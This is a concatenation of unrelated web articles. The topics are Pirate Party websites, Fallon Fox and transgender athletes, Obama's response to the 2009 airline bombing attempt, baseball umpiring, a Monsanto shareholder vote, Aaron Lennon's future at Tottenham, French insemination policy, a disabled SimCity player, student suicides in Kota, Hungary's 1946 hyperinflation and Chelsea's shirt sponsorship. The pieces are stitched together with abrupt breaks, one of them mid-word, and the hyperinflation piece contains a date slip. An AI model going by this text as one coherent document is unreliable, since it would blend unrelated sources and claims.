Pirate Party of the Netherlands – https://piratenpartij.nl/ * Pirate Party of Catalonia – http://pirata.cat * Austrian Pirate Party – https://www.piratenpartei.at/ * Pirate Party of Tyrol – http://piraten.tirol-web.at/ * The Czech Pirate Party – http://pirati.cz * Pirates of Venezuela – https://partidopiratave.wordpress.com/ * Pirate Party Belgium – http://pirateparty.be * Pirate Lobby – http://piratelobby.eu * Pirate Party of Norway – https://www.piratpartiet.no/ * Pirate Party Germany – https://www.piratenpartei.de * Partido Interdimensional Pirata (Argentina) – https://partidopirata.com.ar * Partido Pirata (Chile) – https://www.partidopirata.cl * Pirate Party of Sweden – http://piratpartiet.se * Confederacion Pirata (Spain & Catalonia) – http://confederacionpirata.org * Mary Read – Feminist Pirates (Spain & Catalonia) http://maryread.net * Movimiento Pirata (Spain & Catalonia) * Parti Pirate France – https://www.partipirate.fr * Pirate Party of Israel: http://www.piratim.orgThe Inside MMA host asks Fallon Fox "Being born male doesn't give you a physical advantage?Fox: "No not at all...(you)lose that ability to create large amounts of testosterone. I'm actually at a disadvantage......my testosterone levels are drastically lower than theirs (cis females), it’s almost nothing.”Fallon Fox is on a level field fighting cisgender woman say the The Association of Boxing Commissions The IOC issued this press release IOC addresses eligibility of female athletes with hyperandrogenism a condition that produces abnormally high levels of testosterone in a cisgender woman resulting in what could be construed as 'unfair advantages". This condition is also associated with a transgender woman who has not undergone medical surgery and/or hormone replacement therapy(HRT).The International Olympic Committee (IOC) published the Stockholm Consensus Statement in 2003 (Appendix B) produced by a ad hoc (unbiased) committee. The requirement for transgender athletes to participate in the Olympics is that they have had "surgical anatomical change and hormone treatment for two years" as Fallon Fox has done.The NCAA policy supporting trans inclusive athletics.Many individual high schools are already allowing trans students to play and the list continues to grow. AB 1266 just passed the California state assembly and is now on the way to the Senate. This bill would require that a pupil be permitted to participate in sex-segregated school according to their gender presentation. HRT and surgery would not be required.To watch Fallon Fox live tonight find the cable provider in your area that carries AXS TV.On a personal level. I was in the Army ten years three of those in the infantry and even qualifying for air assault. Those days pre transition I easily trained up to and well beyond Army standards.Now as a older athlete post transition what came easily with a burst of testosterone fired adrenaline in the past now must find a new home in my physiology. I am finding this will but it's emanating from a totally different place. It seems more innate, a drive I have always had but never accessed.With my reduced muscle mass, larger breasts and firm but rounder butt the miles come much harder these days. It's been a grueling albeit rewarding uphill battle to get to a 1/4 of what I was able to accomplish in the past.So is Fallon Fox a underdog tonight? I don't think so.She may very well have nearly zero testosterone as I do, but I think she will demolish Jones in the first few moments of the fight. Not because she's transgender but because of her skill and training. I've seen that look in her eys in many of my soldiers. The smallest females. The one who at 90 lbs passed one of the army's most grueling mental and physical tests, Escape and Evasion. The test that one of my biggest roughest and toughest soldiers failed at, twice.It's not the gender or size of the dog its the fight in the dog that matters.Shortly after being briefed, Mr. Obama told reporters that a review had revealed a breakdown in the intelligence system that did not properly identify Mr. Abdulmutallab as a dangerous extremist who should have been prevented from flying to the United States. “A systemic failure has occurred, and I consider that totally unacceptable,” Mr. Obama said. He said he had ordered government agencies to give him a preliminary report on Thursday about what happened and added that he would “insist on accountability at every level,” although he did not elaborate. Mr. Obama alluded to the intelligence in his statement. “Had this critical information been shared, it could have been compiled with other intelligence and a fuller, clearer picture of the suspect would have emerged,” the president said. “The warning signs would have triggered red flags, and the suspect would have never been allowed to board that plane for America.” The president’s withering assessment of the government’s performance could reshape the intensifying political debate over the thwarted terrorist attack. Instead of defending the system, Mr. Obama sided with critics who complained that it did not work and positioned himself as a reformer who will fix it. At the same time, the decision to speak a second time after remaining out of sight for three days underscores the administration’s concern over being outflanked on national security. The aftermath of the attempted bombing has been marked by an increasingly fierce partisan exchange over culpability heading into a midterm election year. With Republicans on the attack against the administration as not taking terrorism seriously enough, Democrats returned fire by accusing the opposition of standing in the way of needed personnel and money while exploiting public fears. The debate has escalated since Mr. Obama’s secretary of homeland security, Janet Napolitano, said Sunday that “the system worked” after officials said the suspect tried to ignite explosive chemicals aboard a Northwest Airlines flight approaching Detroit. Ms. Napolitano made clear the next day that she had meant the system worked in its response to the attempted bombing, not before it happened. Mr. Obama appeared to be trying to contain the damage on Tuesday, offering “systemic failure” as a substitute diagnosis for “system worked.” He framed Ms. Napolitano’s statement by saying she was right that “once the suspect attempted to take down Flight 253, after his attempt, it’s clear that passengers and crew, our homeland security systems and our aviation security took all appropriate actions.” Advertisement Continue reading the main story The president praised the professionalism of the nation’s intelligence, counterterrorism, homeland security and law enforcement officials. But he spared little in his sharp judgment about how a known extremist could be allowed to board a flight bound for the United States after his own father had warned that he had become radical. “There was a mix of human and systemic failures that contributed to this potential catastrophic breach of security,” Mr. Obama told reporters at the Marine Corps base at Kaneohe Bay outside Honolulu, near his vacation home in Kailua. “We need to learn from this episode and act quickly to fix the flaws in our system because our security is at stake and lives are at stake.” Mr. Obama suggested that he would overhaul the watch-list system. “We’ve achieved much since 9/11 in terms of collecting information that relates to terrorists and potential terrorist attacks,” he said. “But it’s becoming clear that the system that has been in place for years now is not sufficiently up to date to take full advantage of the information we collect and the knowledge we have.” Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Mr. Abdulmutallab, who has been linked to the Yemeni branch of Al Qaeda, came to the attention of the American authorities when his father went to the American Embassy in Nigeria last month to report that his son had expressed radical views before disappearing. The father, a respected retired banker, did not say his son planned to attack Americans but sought help locating him and bringing him home, United States officials said. After Mr. Abdulmutallab’s father asked for help, embassy officials from several agencies, including the Central Intelligence Agency, met to discuss the case, officials said. Paul Gimigliano, a C.I.A. spokesman, said that was the first time the agency had heard of the young Nigerian. “We did not have his name before then,” he said. The embassy sent a cable to Washington, which resulted in Mr. Abdulmutallab’s name being entered in a database of 550,000 people with possible ties to terrorism. But he was not put on the much smaller no-fly list of 4,000 people or on a list of 14,000 people who are required to undergo additional screening before flying, nor was his multiple-entry visa to the United States revoked. “It now appears that weeks ago this information was passed to a component of our intelligence community but was not effectively distributed so as to get the suspect’s name on a no-fly list,” Mr. Obama said of the father’s warning. “There appears to be other deficiencies as well. Even without this one report, there were bits of information available within the intelligence community that could have and should have been pieced together.” Mr. Obama’s appearance came after another day of Republican criticism. On Tuesday, the National Republican Congressional Committee sought to inject the bombing attempt into next year’s midterm races. In a series of news releases, the committee sought to press vulnerable Democrats on whether they agreed with Ms. Napolitano’s initial assessment. Advertisement Continue reading the main story “All year long, we’ve asked the question: What is the administration’s overarching strategy to confront the terrorist threat and keep America safe?” Representative John A. Boehner of Ohio, the Republican leader, said in a statement Tuesday. “We haven’t gotten a satisfactory answer, and the secretary’s ‘the system worked’ response doesn’t inspire confidence.” Democrats countered that Republicans had shown disregard for any terrorism risk by blocking the president’s nominee for head of the Transportation Security Administration and by voting this year against a measure providing $44 billion for Department of Homeland Security operations. “They have essentially voted against and delayed providing the tools that are necessary to prevent these kinds of actions,” said Representative Chris Van Hollen of Maryland, chairman of the Democratic Congressional Campaign Committee. They also criticized Representative Peter Hoekstra of Michigan, the senior Republican on the intelligence committee and a leading critic of the White House, for tying the thwarted bombing to an appeal for money for his race for governor. In a letter first reported by The Grand Rapids Press, Mr. Hoekstra sought donations to help counter Democratic “efforts to weaken our security.” A spokesman for Mr. Hoekstra’s campaign said the letter was appropriate and sought to inform potential donors of his leadership on national security issues. Senator Harry Reid, the Nevada Democrat and majority leader, said on Tuesday that once the Senate returned on Jan. 19, he would move quickly to overcome Republicans’ objections to the nomination of Erroll G. Southers, a former F.B.I. agent, to lead the security agency. Senator Jim DeMint, Republican of South Carolina, has blocked the appointment, saying he was worried Mr. Southers might allow T.S.A. workers to join labor unions. “Republicans have decided to play politics with this nomination by blocking final confirmation,” Mr. Reid said.The egregious call at first base by the umpire Jim Joyce that cost a Detroit Tigers pitcher, Armando Galarraga, the chance to be only the 21st major-league pitcher to have tossed a perfect game has unleashed consternation on the land. History is denied! Incompetence reigns! Something must be done! Expand instant replay! Nah. First of all, history wasn’t denied; it was made. Galarraga’s magnificent performance last Wednesday will always be the perfect game with the asterisk, the one every commentator mentions whenever perfect games are mentioned, the tainted perfect game and thus the most famous perfect game of all time. Second, Joyce’s bungle — and oh, man, it was a beaut! — has hardly reigned. A sturdy baseball citizen who has served in the big leagues with distinction (which for umpires is to say without) since 1989, he was reduced to tears by the fact of his ill-timed mistake and its being trumpeted on front pages and television broadcasts around the world. You think that’s not being held accountable? And something must be done? Why? Umpires have been ingrained in major-league baseball since the inception of the National League in 1876, somewhere approaching 200,000 games ago, and it’s likely that the umps have botched a call or two in every one of them since then. Somehow this has not eroded the fan base or undermined the integrity of the competition, which is something that the players and the owners have periodically done. Advertisement Continue reading the main story That reality, in fact, should tell us something about the nature of baseball, which is the least programmatic, the least technological of games. It doesn’t even have a clock. The fields have widely varying shapes and sizes, and the primary battleground between offense and defense — i.e., the strike zone — is a box of air with dimensions that have proven impossible to specify. There is a lot less science in baseball, a lot more art, than in any other sport you can name. (Golf and soccer nuts, just pipe down.) It’s an irony that only in baseball do there exist perfect games. Photo This is the main reason that so many baseball fans are so gaga over statistics, because the game’s ambiguities create a hunger for measurement, for exactitude where it doesn’t exist, and it’s the main reason that baseball is the most written about, most discussed, most intellectually parsed game there is.Monsanto shareholders rejected a concerned shareholder’s proposal and upheld management viewpoint, as expected–after all, they did own shares in Monsanto–at the 2012 annual shareholders meeting held today at Monsanto Headquarters in St. Louis, MO. A shareholder representing Harrington Investments had submitted a proposal to create a study of “‘material financial risks or operational impacts’ associated with its chemical products and genetically modified organisms (GMOs).” Monsanto management issued a statement recommending that its shareholders vote against the proposal, which they did, of course. Although Monsanto’s statement claimed to support the freedom of farmers to choose whatever farming system they wanted, John Harrington, CEO of Harrington Investments, said he doubted that Monsanto was truly supportive of farmers’ freedom because “genetic drift from GMO crops is contaminating their conventional and organic crops.” The GMO contamination takes away the farmers ability to market crops to Europe, China, and Japan where GMO crops are not accepted. Although the meeting was only open to shareholders, there were protesters demonstrating outside the meeting. The protest was organized by Organic Consumers Association (OCA), Pesticide Action Network of North America (PANNA), and Harrington Investments. Shareholders should be concerned that eventually Monsanto will be held responsible for the “human health and environmental damages” from its toxic pesticides, herbicides (Roundup-glyphosate), and genetically engineered seeds, which would cause Monsanto stocks to drop in value. Sources: St Louis Business Journal, Environmentalists protest at Monsanto annual meeting GM Watch, Protests outside Monsanto meeting planned The Sacremento Bee, Monsanto Attempts to Lockout Socially Responsible Shareholder at Annual Meeting Organic Bytes, Join the OCA Protest at Monsanto’s Annual Shareholders Meeting You might also be interested in these related posts: Glyphosate is already in our food, air, and water: What is it and why should we care? Double GM Whammy for the Monarch Butterfly It’s Not Pretty Behind the Biotech Veil, and Interview with Howard Vlieger What Does Genetically Engineered (or GMO) Mean?How many clubs have an England international with over 20 caps, over 260 Premier League appearances, 26 goals from the wing and pace to burn at their disposal but can afford not to give the player a squad number for the current campaign? Mauricio Pochettino and Spurs have deemed Aaron Lennon surplus to requirements but will they regret giving him the cold shoulder if the window closes and they have been unable to offload the former Leeds wide man. Although this stance can not have come as a surprise to either the player or the fans having sent Lennon out on loan for the second half of the season. Having joined Everton Lennon made 14 appearances scoring two goals as the Toffees finished the season strongly with the pace injection the Spurs loanee brought helping Roberto Martinez men stretch the opposition. The loan spell showed that Lennon was still a valuable Premier League asset. Spurs and Daniel Levy have built a reputation of being shrew in the transfer market with the sales of Gareth Bale and Luka Modric in recent times being on Tottenham’s terms, refusing to be dictated too. The attributes mentioned at beginning may make the reported £9m price tag seem reasonable, on the other hand by alienating Aaron Lennon to the extent that he is no longer worthy of a squad number, does the price they have set actually match the value they place on the player. Lennon is after all in his tenth year at the club and has been a faithful servant week in week out for the majority of his time at White Hart Lane no matter which of the many managers where in charge. There are undoubtedly flaws in the game of Aaron Lennon and arguably he has not made the most of the pace and skill he has been blessed with. As a youngster at Leeds his lack of a final ball was put down to the inexperience of youth, but this never materialised, whether it is down to a lack of willingness to work on his game or simply because he feels he can no longer improve and perhaps needs a new challenge. Should the latter be the case Pochettino is right to want him out of the squad. Unfortunately for Spurs they have gotten off to a slow start to their campaign. With the exception of Nacer Chadli the other squad members in Lennon’s position have flattered to deceive. Erik Lamela, Andros Townsend and Dele Alli have neither the experience nor the record of Aaron Lennon yet are deemed a better fit for the Spurs squad. If none of the clubs in the Premier League are willing to meet the price tag placed on Lennon’s head there is no doubt he could be one of the star attractions towards the end of the window as Spurs and the player will clearly try to finalise a move. Aaron Lennon does not deserve to be cast aside in the manner Tottenham Hotspur have decided to deal with him. His pace alone will trouble defenders at any level and is definitely worthy of a place in Pochettino’s squad. With his team struggling, Harry Kane failing to get off the mark while with the pressure of being the only recognised centre forward at the club how long before Mauricio Pochettino has to bite the bullet and reintegrate Aaron Lennon back into his starting line up?Signup to receive a daily roundup of the top LGBT+ news stories from around the world French lesbians will be able to get pregnant through artificial insemination next year, according to the government. An influential ethics panel recommended in June that medically assisted procreation be extended to include lesbian couples. President Emmanuel Macron also voiced his support for the move, with his government promising that it would turn this policy decision into a law. And now, Marlene Schiappa, the minister for gender equality, has vowed to make this pledge a reality in 2018. Speaking to French channel BFM TV, she said that getting this legislation passed was “a matter of social justice,” Reuters has reported. “It was a campaign promise. It will be honoured,” she added, explaining that it is likely to go through Parliament next year. Legislation at the moment means that lesbians who have enough money often travel to countries like Belgium, Britain and Spain to be inseminated. And those who cannot afford such journeys simply aren’t able to have a child in this way. Schiappa said this was unjust. The procedure is currently only available to straight couples in France. SOS Homophobie, a French LGBT group, called for the law to be passed as soon as possible, rather than waiting for next year. In a letter printed in Le Monde, the organisation called it “a health emergency for women.” The group added that this was “not a question of ethics but of emancipation, women’s rights, equal rights and the fight against discrimination.” Waiting until next year meant “running the risk of seeing a wave of homophobia and hatred in the country that we do not want to see again.” In 2013, when France was in the process of legislating marriage and adoption for same-sex couples, violent marches were repeatedly seen in Paris. Around 300,000 people marched against equal marriage in March 2013, where protesters scuffled with police. Even after it was passed, rallies were held where homophobic protesters threw stones, bottles, and iron bars.A gamer no longer has to worry about his disability preventing him from terrorizing his own metropolis with an alien invasion. When redditor joey6957 became interested in SimCity, he quickly discovered that his physical disadvantages were keeping him from its full potential. He explained in a post on r/SimCity how his mouth-controlled device limits his ability to execute multiple commands: When you put a road on the map you use the mouse clicker & hold it while determining where to put the road & at the same time you press the N key or M key to lower or raise the the road. When i lay a road down i use my Quadjoy which the device only allows you to do ‘1 thing at a time.’ In other words I cant press the
et deti thi, kabhi papa peet dete the. Aadmi ko hardship sehne ki training milti rehti thi chhote chhote madhyam se (They are so pampered these days. Earlier, they were beaten up in school from time to time or at home. Their capacity for tolerance kept building up bit by bit)" * Rakesh Sharma has definitely heard of Kriti Tripathi. As the general manager of Vibrant Classes, where she was enrolled for two years, he's frequently had to explain what he thinks of her suicide in the previous two weeks. "The first thing is that she didn't take the step because of study pressure, because she was very good at studies. She was a good performer here at Vibrant. Secondly, why would anyone who got good marks in JEE Mains end their life before the final?" Flyers handed out to students coming out of cram schools advertising for competing schools lie on the road in Kota, India. I remind him of the suicide letter in which Tripathi made it clear that no matter how good or bad she may have been, the JEE was certainly not something she wanted to do. "Vibrant didn't go to her house and force her to come here," Sharma shoots back. "Why do people look at coaching institutes every time someone commits suicide in Kota when there are so many other things that drive them to it? -- parents' expectations, peer pressure, love affairs." Sharma doesn't mention the coaching institutes' notorious survival-of-the-fittest aligning of students on the basis of performance in internal tests. Every big institute in Kota has an average of eight "batches", in descending order from 1 to 8, of a hundred or so students each across four or five main groups formed on the basis of time of admission, such as A to D. The treatment you get at a coaching institute, from the quality of teachers to the level of attention, depends on your position on this ladder. And although four or five "reshuffles" take place over a year, very little movement happens. I ask him if it wouldn't be easier on students to not have to see each other as fellow contestants on a two-year-long Hunger Games-style reality game show while they are dealing with all the pressure. "If you are talking about batch segregation, it is for the students' benefit only... A student who is in at level 8 at the beginning could very well jump to level 2 at the end. IIT-JEE is not a selection exam, but an elimination exam. Only those who are perfect get to IIT." The biggest issue facing students in Kota, Sharma then astutely reminded me, wasn't parents or peers or breakups, but their inability to manage their time. "Most students go to sleep at 12 at night and wake up at 10 in the morning. By the time they finish with their morning routine—bath, breakfast, etc—it's 11:30. If they sit down to work then, they have only an hour before they have to get ready and start for the institute for their class at 1 p.m. The biggest problem we have in Kota is poor time management. If the students do what they are supposed to--sleep at 11 at night, wake up at 6 in the morning, and devote the time before and after the classes to studying on their own—then we wouldn't face so many issues." The call centre looks like something erected in a state of emergency: a cramped pre-fab enclosure hunched in the belly of a building large enough to be mistaken for a whole university. At Allen Career Institute, they are done with the guessing game. The biggest player in the local coaching market has tired of taking the blame for Kota's suicides. In November 2015, after the city registered its 30th student suicide of the year, the institute set up a distress call centre for its 68,000 students, started morning yoga and meditation classes, hired a team of psychological counsellors to hear out the "advanced cases" and a couple of psychiatrists to take over the truly messed-up. The call centre looks like something erected in a state of emergency: a cramped pre-fab enclosure hunched in the belly of a building large enough to be mistaken for a whole university. All I could hear in it was Kota jargon: booster-1 course, pre-nurture foundation fees, BITSAT workshop, Allen Champ programme. Only 40 of the 2,500 calls the centre gets from students every day are about personal issues, explained Pushpendra Rathod, one of the counsellors taking calls. "The rest are all academic queries." The last personal call he received was two days ago, from a student feeling homesick. Things look way more intense in the wing housing the professional counsellors, which was probably a parking basement until recently. In one cubicle, a girl is sobbing into her handkerchief as a counsellor nods with empathy across the table. In the cubicle next to it, another counsellor is resting between student visits. Yashmeen Sahoo used to be a yoga and meditation specialist at Patanjali headquarters in Rishikesh. Most of her work at Allen involves working with a software program, however. "It has a database of each of the students' emotional states. Every teacher is assigned 100 students and is supposed to talk to at least one every day on a one-on-one basis and enter his feedback into the database, which is available to us, the institute and the parents to monitor. And if we see something odd, then someone from the call centre phones the student and suggests him or her to come and see one of us here." A coaching class in progress at Kota, Rajasthan. "It can be anything," explains Rashi Mehta, who joins us from the next cubicle, after she has handled the weeping girl. "Her problem was that she felt every time she was in class, the room seemed to close in on her. She'd never been amongst so many strangers before. She also really missed listening to music; she is into classical music, particularly Kalyan raga. So, I told her to listen to it for a bit between assignments." I ask Sahoo, then, what she thinks of a "case" like Kriti Tripathi's. "I just don't understand it. When you are so good at studies, how can you throw it away? She had everything. Her mother herself was staying with her in the P.G, attending to her every need. In some cases, you can never know why a student took this step." Making my way out of the building, I run into a family from Gangapur, a three-hour train ride away. The parents want their 15-year-old daughter admitted into Allen for a pre-med programme. "It's her wish. And we will support her in whatever she wants to do," says the father, who has an optician's shop back home. They have been sitting in the lobby for a few hours, waiting to negotiate fees. "We thought it was 70,000 rupees," says the mother, "but this year they have raised it to 89,000, which is a lot." If they get a discount here, she tells me, they can afford to leave the daughter in one of the hostels run by Allen that cost 15,000 rupees a month for a room. ("extra for AC"). If not, she'd have to do with any of the mid-budget (6000-12000 rupees a month) accommodations for female students lining the streets in this part of Kota. Sometimes even money can't guarantee admission into the hostels run by top institutes, however; only those who apply as many as four years before their arrival in Kota get in. "Unn bacchon ki dimagi haalat theek nahin hoti. (It's only the mentally disturbed children who do that)". I ask the parents if they have been following the news of student suicides in Kota and if they are worried. "No," the mother says after a few moments of thoughtful silence, "Unn bacchon ki dimagi haalat theek nahin hoti. (It's only the mentally disturbed children who do that)". "Who is your favorite hero??? Think...Think...Think... (Come on... no fancy names) You are your favorite Hero (Girls, Pl don't frown...Hero can be both male and female) Yes dear friend... You are your favorite Hero...How can your movie be entertaining without Hero... (You)...So don't allow this Hero to fade away...He has to be there...He has to win over himself... With great power comes great responsibility (Spiderman)... But for this you have to be smiling and happy...Come what...What the Hell ☺ ☺ Happy New Year...Happy New You....... In his 12 months as district magistrate of Kota, Ravi Kumar Surpur has written three letters to three different groups of people integral to the city's coaching business--institute owners, students and parents. They have been written in response to "20-24 suicide letters" from students he's read over the same time, including the five-page note left by Kriti Tripathi in which lays bare her complete distaste for the IIT rat race, emotional manipulation by her parents, the need to shut down coaching institutes ("they suck"), and the "maddening hatred in her heart" for herself. If he's playful in his letter to children, Surpur tries for a balance between sympathy and reproof in addressing the parents ("Are we interested in making the child realise 'Your Dreams' at any cost or should it be like creating such situations that the child realizes His/Her Dreams?") and goes point-blank official in his notice to the owners, ordering them to make a number of changes to their system "with immediate effect", from refunding fees to kids who change their minds to organizing "fun days". A student at a hostel in Kota. He's fighting administrative fire on the day I visit him in Kota's sprawling Collectorate; his white board is scribbled over with the district's immediate concerns—pre-monsoon preparations, seasonal disasters, price management. But he can't think of anything more important than the situation with the students in Kota that he's previously called the "tip of the iceberg." "You should have seen the mood in the city last December, just before New Year's. A student had committed suicide and my first thought was to order the institutes to declare a compulsory holiday on 1st January to give the students a breather, but then I reminded myself that only a small proportion of children, those from the state, will be able to go home to celebrate, but the rest will just be here and brood. So I asked the institutes to put up giant canvases in the premises and let the kids come over and paint. And oh they painted like anything! I also asked the radio city FM to take song requests from the students on the day." Surpur's made it his personal mission since to bring down the IIT-JEE heat in Kota, whether it's asking the students to get up early and appreciate the sunrise or informing the parents of the new avenues of opportunity ("Art, Entertainment, Sports, Literature, Journalism, Event Management.") On the very day that I saw him, he was drafting a multi-page, multiple-choice questionnaire inquiring into the student experience in Kota that he wants massively distributed and anonymously answered. I ask him why he spends so much of his time finding the elusive solution to the suicides: "Even if one single child doesn't commit suicide because of this, it's worthwhile." "If 1.5 lakh people are living in one place, there will be one suicide every month. It's the state's average or the national average." The view of student suicides is a little more complicated at the office of the Superintendent of Police of the Kota district. "If 1.5 lakh people are living in one place, there will be one suicide every month. It's the state's average or the national average. If think of the 1.5 lakh students in Kota in that way, then the rate of suicide would be considered normal for a year, but of course it's not so simple a story," says Sawai Singh Godara, who cuts an imposing figure with his medals and moustache. "Kids who come from villages, from a lower middle class background, they are able to adjust. But those who come from upper class families, who have been maintained like a flower by their own parents, they don't know how to deal with the routine here. Khana suit nahin hota, pet kharab ho jata hai, ulcer ho jata hai, so they get depressed (The food doesn't suit them, their stomachs get upset, sometimes it leads to ulcer...)" India's annual suicide rate (number of suicides a year in a population of 100,000) was 10.6. But this view camouflages the horror of the Kota story. A vast majority of those who commit suicides (more than 69% in 2014), are low-income. Suicide rates are also very high at the lower end of the education level spectrum. When applied to a population of well-off teenagers with higher secondary education, Kota deaths are off the charts. There are several other reasons, of course, for their depression, Godara points out: "Social status. Parents are calling their children here, telling them this person or that person's kid in the neighborhood cleared IIT. They remind their children of the Fixed Deposits they have broken, the Provident Fund loans they have taken. The institutes themselves have a role to play; until we enforced it a few months ago, there was no exit policy for those children who wanted to leave. 10 to 15 percent of it is because of love affairs—breakups, cheating." I asked him what he thought of the case of Kriti Tripathi. It made him turn to an assistant on his left and ask him how much the girl scored in Mains. "See, 144 is not a very good rank," Godara swung around to face me armed with his theory. "People score as high as 300. She must be disappointed." ** "Hamare system se chalein, toh Kota mein koi suicide hi na kare." (If things go by our system, no one would ever commit suicide in Kota) Kamal Jain is the head of the biggest organized setup offering out-of-station parents paid-for "local guardians". For a monthly fee of ₹300, this is the what Jain and his team at Local Guardian and Consultant, "a complete solution for liable and organize care of your child", provide: "room arrangement, mess arrangement for balanced food, vehicle arrangement, commodity requirement, doctor arrangement, mobile top-ups, special protection of female students, travel ticket booking, discussion of personal problems, and career counselling". Jain was originally a businessman who dealt in chemicals. "I used to travel a lot on the train, in 2nd AC and 3rd AC, for my work. And I would meet parents all the time who, the moment they heard I was from Kota, would start complaining about how greedy everyone is in Kota." For the average amount of money a family was investing in Kota, Jain realized no one had thought of a business opportunity around making things smoother for them.Global Financial Data If you were to ask most people which country suffered the worst inflation in history, they would answer Germany, since Germany's hyperinflation after World War I is probably the most famous. By 1923 when Germany finally put an end to its hyperinflation, it took 1 trillion old Marks to get 1 new Rentenmark. As devastating as the German inflation was, there were three hyperinflations that made the German case look amateurish: Hungary in 1946, Yugoslavia in 1992-1993 and Zimbabwe from 2004 to 2009. Of these three, Hungary's was the worst of them all. Hungary was no stranger to hyperinflation. The Austro-Hungarian Empire was on the losing side of World War I and was broken up after the war. The new nation of Hungary lacked the proper government structures, so it turned to printing money to fill the hole in its budget. Before World War I, there were 5 Kronen to the US Dollar, but by 1924 there were 70,000 Kronen to the US Dollar. So Hungary replaced the Kronen with Pengö at the rate of 12,500 Pengö to the Kronen in 1926. Hungary was spared much of World War II's destruction until 1944 when it became a battleground between Russia and Germany, and half of Hungary's industrial capacity was destroyed and 90% was damaged. Transportation was difficult because most of the rail lines and locomotives had been destroyed. What remained had either been taken by the Nazis back to Germany or seized as reparations by the Russians. Prices were already rising in Hungary after the war because production capacity fell due to the destruction. With no tax base to rely upon, the Hungarian government decided to stimulate the economy by printing money. It loaned money to banks at low rates who then loaned the money to companies. The government hired workers directly, they provided loans to consumers, and they gave money to people. The government literally flooded the country with money to get the economy going again. Money may not have grown on trees, but it certainly flowed off the printing presses. To see how quickly the money supply rose, consider the fact that the currency in circulation stood at 25 billion Pengö in July 1945, rose to 1.646 trillion by January 1946, to 65 quadrillion (million billion) Pengö by May 1946 and to 47 septillion (trillion trillion) Pengö by July 1946. How bad was the inflation? Something that cost 379 Pengö in September 1945, cost 72,330 Pengö by January 1945, 453,886 Pengö by February, 1,872,910 by March, 35,790,276 Pengö by April, 11.267 billion Pengö by May 31, 862 billion Pengö by June 15, 954 trillion Pengö by June 30, 3 billion billion Pengö by July 7, 11 trillion billion Pengö by July 15 and 1 trillion trillion Pengö by July 22, 1946. Obviously, the inflation was devastating to the mathematically challenged. At the height of the inflation, prices were rising at the rate of 150,000% PER DAY. By then, the government had stopped collecting taxes altogether because even a single day's delay in collecting taxes wiped out the value of the money the government collected. Before the war, in March 1941, there were 5 Pengö to the US Dollar, by June 1944, there were 33 Pengö to the USD and in August 1945 when the real hyperinflation began, there were already 1320 Pengö to the USD. Then, the Pengö collapsed. There were 100,000 Pengö to the USD by November 1945, 1.75 million by March 1946, 59 billion by April 1946, 42 quadrillion by May 1946 and 460 trillion trillion by July 1946. Of course, Hungary had taken some failed measures to reduce the inflation. In December 1945, the government imposed a 75% capital levy by making people turn in 400 Pengö and receive 100 Pengö back with a stamp on the banknotes to indicate they were legal tender. But they didn't stop printing money. The hyperinflation made it even more difficult for the government to collect taxes, so they introduced the Adopengö which supposedly was indexed to inflation, but even the indexed Adopengö succumbed to the inflation. By July 1946 there were 2 million trillion Adopengö to the Pengö. So how did people cope with this onslaught of money? How did the government that printed the money handle so many zeroes? The solution was simple: change the name of the currency. The Pengö was replaced by the Milpengö (1,000,000 Pengö) which in turn was replaced by the Bilpengö (1,000,000,000,000 Pengö) which was replaced by the inflation-indexed Adopengö. Global Financial Data The banknotes would have the same picture on them, but be a different color. The Milliard Pengö was lavender, the Milliard Milpengö was blue and the Milliard Bilpengö was green, but except for the color, the notes looked alike. Someone who lived through the hyperinflation said they gave up on looking at the denominations and when someone bought something the cashier would say that their bread cost them two blues and a green. The Milliard Bilpengö, pictured here, is the highest denomination note ever printed since it was equal to a Billion Trillion Pengö. Unfortunately, at the end of the inflation, it was only worth about twelve cents USD. The Forint replaced the Pengö on August 1, 1946 at the rate of 400,000 Quadrillion Pengö to the Forint; however, the stabilization worked, and prices remained relatively stable in Hungary into the 1960s. As for all the old Pengö, they were thrown away because they were worthless. Who paid the price of the inflation? First off, workers did. Real wages fell by over 80% as a result of the inflation, and though the workers had jobs, they were pushed into poverty by the hyperinflation. Creditors were wiped out. But production did recover, and by August 1946, the Pengö was replaced by the Forint which Hungary still uses today. So did the inflation achieve the goal of stimulating production? The hyperinflation did raise Hungary's industrial capacity, got the railroads moving again, and got much of the capital stock replaced. However, workers lost 80% of their wages and creditors were wiped out. Politically, however, Hungary's fate was sealed by the Communists, who eventually seized power and turned the Republic of Hungary into the People's Republic of Hungary in 1949 with a new constitution modelled on that of the Soviet Union.Chelsea FC striker Diego Costa. Chelsea FC/Instagram Samsung is set to terminate its multimillion-dollar shirt sponsorship deal with English Premier League leaders Chelsea FC at the end of this current season, sources have told Business Insider, which also understands Turkish Airways is due to take over as kit sponsors and to sign up to a much larger deal that could include the club's stadium. The contract for the current estimated $16 million-a-year shirt deal (before extra bonuses are paid out if the club gets to the late stages at major competitions like the UEFA Champions League) will not be renewed this year, sources have told Business Insider, as Samsung is unprepared to pay the $32 million per season now being asked. This confirms a report from the MailOnline last month, which also suggested Turkish Airlines was the front-runner to replace Samsung as shirt sponsor. It turns out that Chelsea is looking to secure a deal far larger than shirt sponsorship alone. Sources tell Business Insider that its commercial team has been out meeting prospective sponsors and agencies to tout not only the shirt deal but potentially a sponsorship package also including the stadium, training ground, and training kit. Packaging many deals under one sponsor does mean Chelsea could potentially receive less in sponsorship revenue than if it sold them out separately to different brands. (That would be interesting on its own, as Chelsea's sponsorship revenues have historically lagged far behind those of rival clubs. The $16 million annual Samsung deal is less than half of what London rivals Arsenal get for its shirt from the Emirates airline.) We asked MediaCom UK managing director James Hough (who is not involved with any of the Chelsea negotiations) what the advantages of a bundled deal are. Ultimately, it's up-front, guaranteed income: Whilst some clubs are prepared to stick with the more traditional tiered sponsorship structure of shirt plus sector-exclusive partner and supplier level deals below that, others may believe that they can generate more revenue by breaking down their most valuable assets — shirt, stadium naming rights, and training kit sponsorship — and packaging these up for one main sponsor. This becomes more difficult to do when you get a sponsor badging an existing stadium (e.g. Sports Direct Arena with Newcastle FC), and tends to work best when you a club moves to a new venue e.g. the Emirates stadium for Arsenal. This is something that I'm sure will be front of mind for Liverpool FC or Everton's new stadium, and the same for Chelsea FC if they were ever able to move to a new venue. Chelsea has been looking for a sponsor of its Stamford Bridge stadium for more than two years, Business Insider understands, but it is not as attractive proposition as some of the newer (and frankly better-looking) grounds in the league. Deloitte's 